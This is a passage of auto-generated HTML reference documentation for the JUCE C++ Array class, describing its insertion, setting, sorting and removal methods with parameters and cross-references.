title="Replaces an element with a new value.">set</a>, <a class="el" href="classArray.html#aef96810c21931d9676c08cad82de45c7" title="Inserts a new element into the array at a given position.">insert</a>, <a class="el" href="classArray.html#a408fa7ce72916f0fc65df67fbc9f8813" title="Appends a new element at the end of the array as long as the array doesn&#39;t already contain it...">addIfNotAlreadyThere</a>, <a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e" title="Inserts a new element into the array, assuming that the array is sorted.">addSorted</a>, <a class="el" href="classArray.html#a88466744eccb48806b74defa442c843b" title="Inserts a new element into the array, assuming that the array is sorted.">addUsingDefaultSort</a>, <a class="el" href="classArray.html#a3cb98449214bf8993d64dd06c33133eb" title="Adds elements from an array to the end of this array.">addArray</a> </dd></dl> <p>Referenced by <a class="el" href="classRectangleList.html#a9df83403875d4288f1aa9a9cdd3245bb">RectangleList&lt; int &gt;::add()</a>, <a class="el" href="classArray.html#a75cce24a6741c2e36d4f87084005ba89">Array&lt; Glyph &gt;::addArray()</a>, <a class="el" href="classMidiEventList.html#af1860baf47d3fc7436eabd8e22393fae">MidiEventList::addEvent()</a>, <a class="el" href="classArray.html#a408fa7ce72916f0fc65df67fbc9f8813">Array&lt; Glyph &gt;::addIfNotAlreadyThere()</a>, <a class="el" href="classSelectedItemSet.html#a8ec6de21f75ccfa083cd702ab027f778">SelectedItemSet&lt; SelectableItemType &gt;::addToSelection()</a>, <a class="el" href="classRectangleList.html#a3ec4544b91f3a935000c5c3fe2d89d69">RectangleList&lt; int &gt;::addWithoutMerging()</a>, <a class="el" href="classArray.html#a6a1ecdfef773aa85351eb93bda32951b">Array&lt; Glyph &gt;::Array()</a>, <a class="el" href="structVST3BufferExchange.html#a258f09e3c61c120d7c35e2c66bddd48a">VST3BufferExchange&lt; float &gt;::associateBufferTo()</a>, <a class="el" href="classRectangleList.html#a569c52b5100c4c7ec1c9915cdbcf2576">RectangleList&lt; int &gt;::clipTo()</a>, <a class="el" href="classRectangleList.html#a9e26bdb6310e0660c0b7ada7919546db">RectangleList&lt; int &gt;::consolidate()</a>, <a class="el" href="classRectangleList.html#a42f68746a56cddd16eb4800aa367b59e">RectangleList&lt; int &gt;::getIntersectionWith()</a>, <a class="el" href="structVST3BufferExchange.html#a7f25aca59b8af5aaf17846dcafb5ced2">VST3BufferExchange&lt; float &gt;::mapArrangementToBusses()</a>, <a class="el" href="classSelectedItemSet.html#af86b0e97bd91cbbd0a16bea50e3f7f0d">SelectedItemSet&lt; SelectableItemType &gt;::operator=()</a>, and <a class="el" href="classSelectedItemSet.html#a5c989a8cd1483b655b948aee86fb768c">SelectedItemSet&lt; SelectableItemType &gt;::selectOnly()</a>.</p> </div> </div> <a class="anchor" id="aef96810c21931d9676c08cad82de45c7"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::insert </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>indexToInsertAt</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>newElement</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Inserts a new element into the array at a given position. </p> <p>If the index is less than 0 or greater than the size of the array, the element will be added to the end of the array. Otherwise, it will be inserted into the array, moving all the later elements along to make room.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToInsertAt</td><td>the index at which the new element should be inserted (pass in -1 to add it to the end) </td></tr> <tr><td class="paramname">newElement</td><td>the new object to add to the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a" title="Appends a new element at the end of the array.">add</a>, <a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e" title="Inserts a new element into the array, assuming that the array is sorted.">addSorted</a>, <a class="el" href="classArray.html#a88466744eccb48806b74defa442c843b" title="Inserts a new element into the array, assuming that the array is sorted.">addUsingDefaultSort</a>, <a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686" title="Replaces an element with a new value.">set</a> </dd></dl> <p>Referenced by <a class="el" href="classSortedSet.html#a861274cee3723b88dc742aef24ba65d5">SortedSet&lt; ColourSetting &gt;::add()</a>, <a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e">Array&lt; Glyph &gt;::addSorted()</a>, and <a class="el" href="classRectangleList.html#a8e5460224789d6b242ebbe0a801b4b62">RectangleList&lt; int &gt;::subtract()</a>.</p> </div> </div> <a class="anchor" id="a0cadf83bcfba696c6a4adc15f4e0a78f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::insertMultiple </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>indexToInsertAt</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>newElement</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numberOfTimesToInsertIt</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Inserts multiple copies of an element into the array at a given position. </p> <p>If the index is less than 0 or greater than the size of the array, the element will be added to the end of the array. Otherwise, it will be inserted into the array, moving all the later elements along to make room.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToInsertAt</td><td>the index at which the new element should be inserted </td></tr> <tr><td class="paramname">newElement</td><td>the new object to add to the array </td></tr> <tr><td class="paramname">numberOfTimesToInsertIt</td><td>how many copies of the value to insert </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#aef96810c21931d9676c08cad82de45c7" title="Inserts a new element into the array at a given position.">insert</a>, <a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a" title="Appends a new element at the end of the array.">add</a>, <a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e" title="Inserts a new element into the array, assuming that the array is sorted.">addSorted</a>, <a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686" title="Replaces an element with a new value.">set</a> </dd></dl> <p>Referenced by <a class="el" href="classHashMap.html#a4d6d41cfc524ccc0a73f0251d7fc1fab">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::HashMap()</a>, and <a class="el" href="classArray.html#aeee604745ed7157e6b14e8b54a27634f">Array&lt; Glyph &gt;::resize()</a>.</p> </div> </div> <a class="anchor" id="acb0477221ce1538611a9fcd84028b387"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::insertArray </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>indexToInsertAt</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const ElementType *&#160;</td> <td class="paramname"><em>newElements</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numberOfElements</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Inserts an array of values into this array at a given position. </p> <p>If the index is less than 0 or greater than the size of the array, the new elements will be added to the end of the array. Otherwise, they will be inserted into the array, moving all the later elements along to make room.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToInsertAt</td><td>the index at which the first new element should be inserted </td></tr> <tr><td class="paramname">newElements</td><td>the new values to add to the array </td></tr> <tr><td class="paramname">numberOfElements</td><td>how many items are in the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#aef96810c21931d9676c08cad82de45c7" title="Inserts a new element into the array at a given position.">insert</a>, <a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a" title="Appends a new element at the end of the array.">add</a>, <a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e" title="Inserts a new element into the array, assuming that the array is sorted.">addSorted</a>, <a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686" title="Replaces an element with a new value.">set</a> </dd></dl> </div> </div> <a class="anchor" id="a408fa7ce72916f0fc65df67fbc9f8813"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::addIfNotAlreadyThere </td> <td>(</td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>newElement</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Appends a new element at the end of the array as long as the array doesn't already contain it. </p> <p>If the array already contains an element that matches the one passed in, nothing will be done.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">newElement</td><td>the new object to add to the array </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a2fb91e8ec10caa9474a28c88e35f9686"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::set </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>indexToChange</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>newValue</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Replaces an element with a new value. </p> <p>If the index is less than zero, this method does nothing. If the index is beyond the end of the array, the item is added to the end of the array.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToChange</td><td>the index whose value you want to change </td></tr> <tr><td class="paramname">newValue</td><td>the new value to set for this index. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a" title="Appends a new element at the end of the array.">add</a>, <a class="el" href="classArray.html#aef96810c21931d9676c08cad82de45c7" title="Inserts a new element into the array at a given position.">insert</a> </dd></dl> <p>Referenced by <a class="el" href="classHashMap.html#a2922931b85fa384901d82de2b46b0845">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::clear()</a>, <a class="el" href="classHashMap.html#ac308687ea47efa4d1559ec1b35505ad2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remove()</a>, <a class="el" href="classHashMap.html#a7c7e68766babe36a8ae07033d3652f2f">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::removeValue()</a>, and <a class="el" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::set()</a>.</p> </div> </div> <a class="anchor" id="a8fb9db1598de3bcf85754ff2169dd7eb"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::setUnchecked </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>indexToChange</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>newValue</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Replaces an element with a new value without doing any bounds-checking. </p> <p>This just sets a value directly in the array's internal storage, so you'd better make sure it's in range!</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToChange</td><td>the index whose value you want to change </td></tr> <tr><td class="paramname">newValue</td><td>the new value to set for this index. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686" title="Replaces an element with a new value.">set</a>, <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379" title="Returns one of the elements in the array, without checking the index passed in.">getUnchecked</a> </dd></dl> </div> </div> <a class="anchor" id="a3cb98449214bf8993d64dd06c33133eb"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;typename Type &gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::addArray </td> <td>(</td> <td class="paramtype">const Type *&#160;</td> <td class="paramname"><em>elementsToAdd</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numElementsToAdd</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Adds elements from an array to the end of this array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">elementsToAdd</td><td>an array of some kind of object from which elements can be constructed. </td></tr> <tr><td class="paramname">numElementsToAdd</td><td>how many elements are in this other array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a" title="Appends a new element at the end of the array.">add</a> </dd></dl> <p>Referenced by <a class="el" href="classRectangleList.html#a9df83403875d4288f1aa9a9cdd3245bb">RectangleList&lt; int &gt;::add()</a>, <a class="el" href="classArray.html#a9dbaaaeea2b8e6ab7eede5c3f080adf8">Array&lt; Glyph &gt;::addNullTerminatedArray()</a>, and <a class="el" href="classLassoComponent.html#a4aca7f9f28ecef2834bfabe648ba6959">LassoComponent&lt; SelectableItemType &gt;::dragLasso()</a>.</p> </div> </div> <a class="anchor" id="a9dbaaaeea2b8e6ab7eede5c3f080adf8"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;typename Type &gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::addNullTerminatedArray </td> <td>(</td> <td class="paramtype">const Type *const *&#160;</td> <td class="paramname"><em>elementsToAdd</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Adds elements from a null-terminated array of pointers to the end of this array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">elementsToAdd</td><td>an array of pointers to some kind of object from which elements can be constructed. This array must be terminated by a nullptr </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a3cb98449214bf8993d64dd06c33133eb" title="Adds elements from an array to the end of this array.">addArray</a> </dd></dl> </div> </div> <a class="anchor" id="a921a70882553967e2998beeb30d99f83"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class OtherArrayType &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::swapWith </td> <td>(</td> <td class="paramtype">OtherArrayType &amp;&#160;</td> <td class="paramname"><em>otherArray</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This swaps the contents of this array with those of another array. </p> <p>If you need to exchange two arrays, this is vastly quicker than using copy-by-value because it just swaps their internal pointers. </p> <p>Referenced by <a class="el" href="classArray.html#ae6f46b7a7bee66e0ab05dd83dca4e79d">Array&lt; Glyph &gt;::operator=()</a>, <a class="el" href="classHashMap.html#a885345c5f15712041e6e46d38d6e564b">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::swapWith()</a>, <a class="el" href="classRectangleList.html#a15059455cd503d05378d089a8eed5488">RectangleList&lt; int &gt;::swapWith()</a>, and <a class="el" href="classSortedSet.html#a47f196433b0adf163184e4fbc33d7046">SortedSet&lt; ColourSetting &gt;::swapWith()</a>.</p> </div> </div> <a class="anchor" id="a75cce24a6741c2e36d4f87084005ba89"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class OtherArrayType &gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::addArray </td> <td>(</td> <td class="paramtype">const OtherArrayType &amp;&#160;</td> <td class="paramname"><em>arrayToAddFrom</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startIndex</em> = <code>0</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numElementsToAdd</em> = <code>-1</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Adds elements from another array to the end of this array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">arrayToAddFrom</td><td>the array from which to copy the elements </td></tr> <tr><td class="paramname">startIndex</td><td>the first element of the other array to start copying from </td></tr> <tr><td class="paramname">numElementsToAdd</td><td>how many elements to add from the other array. If this value is negative or greater than the number of available elements, all available elements will be copied. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a" title="Appends a new element at the end of the array.">add</a> </dd></dl> </div> </div> <a class="anchor" id="aeee604745ed7157e6b14e8b54a27634f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::resize </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>targetNumItems</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>This will enlarge or shrink the array to the given number of elements, by adding or removing items from its end. </p> <p>If the array is smaller than the given target size, empty elements will be appended until its size is as specified. If its size is larger than the target, items will be removed from its end to shorten it. </p> <p>Referenced by <a class="el" href="classPluginBusUtilities.html#ac2ee237b0124b0010a92c971abc21577">PluginBusUtilities::clear()</a>.</p> </div> </div> <a class="anchor" id="afc5417019f110034658b3c1c02af5a5e"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class ElementComparator &gt; </div> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::addSorted </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>newElement</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Inserts a new element into the array, assuming that the array is sorted. </p> <p>This will use a comparator to find the position at which the new element should go. If the array isn't sorted, the behaviour of this method will be unpredictable.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">comparator</td><td>the comparator to use to compare the elements - see the <a class="el" href="classArray.html#abd6210cb3337f1cc11b89bc7b63f9c72" title="Sorts the array using a default comparison operation.">sort()</a> method for details about the form this object should take </td></tr> <tr><td class="paramname">newElement</td><td>the new element to insert to the array </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the index at which the new item was added </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a88466744eccb48806b74defa442c843b" title="Inserts a new element into the array, assuming that the array is sorted.">addUsingDefaultSort</a>, <a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a" title="Appends a new element at the end of the array.">add</a>, <a class="el" href="classArray.html#abd6210cb3337f1cc11b89bc7b63f9c72" title="Sorts the array using a default comparison operation.">sort</a> </dd></dl> <p>Referenced by <a class="el" href="classArray.html#a88466744eccb48806b74defa442c843b">Array&lt; Glyph &gt;::addUsingDefaultSort()</a>.</p> </div> </div> <a class="anchor" id="a88466744eccb48806b74defa442c843b"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::addUsingDefaultSort </td> <td>(</td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>newElement</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Inserts a new element into the array, assuming that the array is sorted. </p> <p>This will use the <a class="el" href="classDefaultElementComparator.html" title="A simple ElementComparator class that can be used to sort an array of objects that support the &#39;&lt;&#39;...">DefaultElementComparator</a> class for sorting, so your ElementType must be suitable for use with that class. If the array isn't sorted, the behaviour of this method will be unpredictable.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">newElement</td><td>the new element to insert to the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e" title="Inserts a new element into the array, assuming that the array is sorted.">addSorted</a>, <a class="el" href="classArray.html#abd6210cb3337f1cc11b89bc7b63f9c72" title="Sorts the array using a default comparison operation.">sort</a> </dd></dl> <p>Referenced by <a class="el" href="classSparseSet.html#a0887e0e73216a5d30dc399888fa304e5">SparseSet&lt; int &gt;::addRange()</a>, and <a class="el" href="classSparseSet.html#a263cd6c64bbf95db0ee8be6e546a70a6">SparseSet&lt; int &gt;::removeRange()</a>.</p> </div> </div> <a class="anchor" id="ad3faadfb7b8eb05350afb1c9dd951ff5"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;typename ElementComparator , typename TargetValueType &gt; </div> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::indexOfSorted </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">TargetValueType&#160;</td> <td class="paramname"><em>elementToLookFor</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td> const</td> </tr> </table> </div><div class="memdoc"> <p>Finds the index of an element in the array, assuming that the array is sorted. </p> <p>This will use a comparator to do a binary-chop to find the index of the given element, if it exists. If the array isn't sorted, the behaviour of this method will be unpredictable.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">comparator</td><td>the comparator to use to compare the elements - see the <a class="el" href="classArray.html#abd6210cb3337f1cc11b89bc7b63f9c72" title="Sorts the array using a default comparison operation.">sort()</a> method for details about the form this object should take </td></tr> <tr><td class="paramname">elementToLookFor</td><td>the element to search for </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the index of the element, or -1 if it's not found </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e" title="Inserts a new element into the array, assuming that the array is sorted.">addSorted</a>, <a class="el" href="classArray.html#abd6210cb3337f1cc11b89bc7b63f9c72" title="Sorts the array using a default comparison operation.">sort</a> </dd></dl> </div> </div> <a class="anchor" id="af36ad6bf7849a3a3557a5457458701d0"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">ElementType <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::remove </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>indexToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes an element from the array. </p> <p>This will remove the element at a given index, and move back all the subsequent elements to close the gap. If the index passed in is out-of-range, nothing will happen.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">indexToRemove</td><td>the index of the element to remove </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the element that has been removed </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e" title="Removes an item from the array.">removeFirstMatchingValue</a>, <a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce" title="Removes an item from the array.">removeAllInstancesOf</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647" title="Removes a range of elements from the array.">removeRange</a> </dd></dl> <p>Referenced by <a class="el" href="classRectangleList.html#a9df83403875d4288f1aa9a9cdd3245bb">RectangleList&lt; int &gt;::add()</a>, <a class="el" href="classRectangleList.html#ae270885963acca0dcd78d80158605f1a">RectangleList&lt; int &gt;::clipTo()</a>, <a class="el" href="classRectangleList.html#a9e26bdb6310e0660c0b7ada7919546db">RectangleList&lt; int &gt;::consolidate()</a>, <a class="el" href="classSelectedItemSet.html#a657dd4d8aa7604f795c0d0d3962b410c">SelectedItemSet&lt; SelectableItemType &gt;::deselect()</a>, <a class="el" href="classSelectedItemSet.html#a2d8c179287d5afa7e4ef0318ce779813">SelectedItemSet&lt; SelectableItemType &gt;::deselectAll()</a>, <a class="el" href="classSelectedItemSet.html#af86b0e97bd91cbbd0a16bea50e3f7f0d">SelectedItemSet&lt; SelectableItemType &gt;::operator=()</a>, <a class="el" href="classSortedSet.html#a86602918644c684fd72d239980a83d84">SortedSet&lt; ColourSetting &gt;::remove()</a>, <a class="el" href="classSparseSet.html#a263cd6c64bbf95db0ee8be6e546a70a6">SparseSet&lt; int &gt;::removeRange()</a>, <a class="el" href="classSortedSet.html#a21b0da9c6e547485feecc3b91d28164c">SortedSet&lt; ColourSetting &gt;::removeValue()</a>, and <a class="el" href="classRectangleList.html#a8e5460224789d6b242ebbe0a801b4b62">RectangleList&lt; int &gt;::subtract()</a>.</p> </div> </div> <a class="anchor" id="a327c9e19074544bfef2caa5d41ff8131"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" 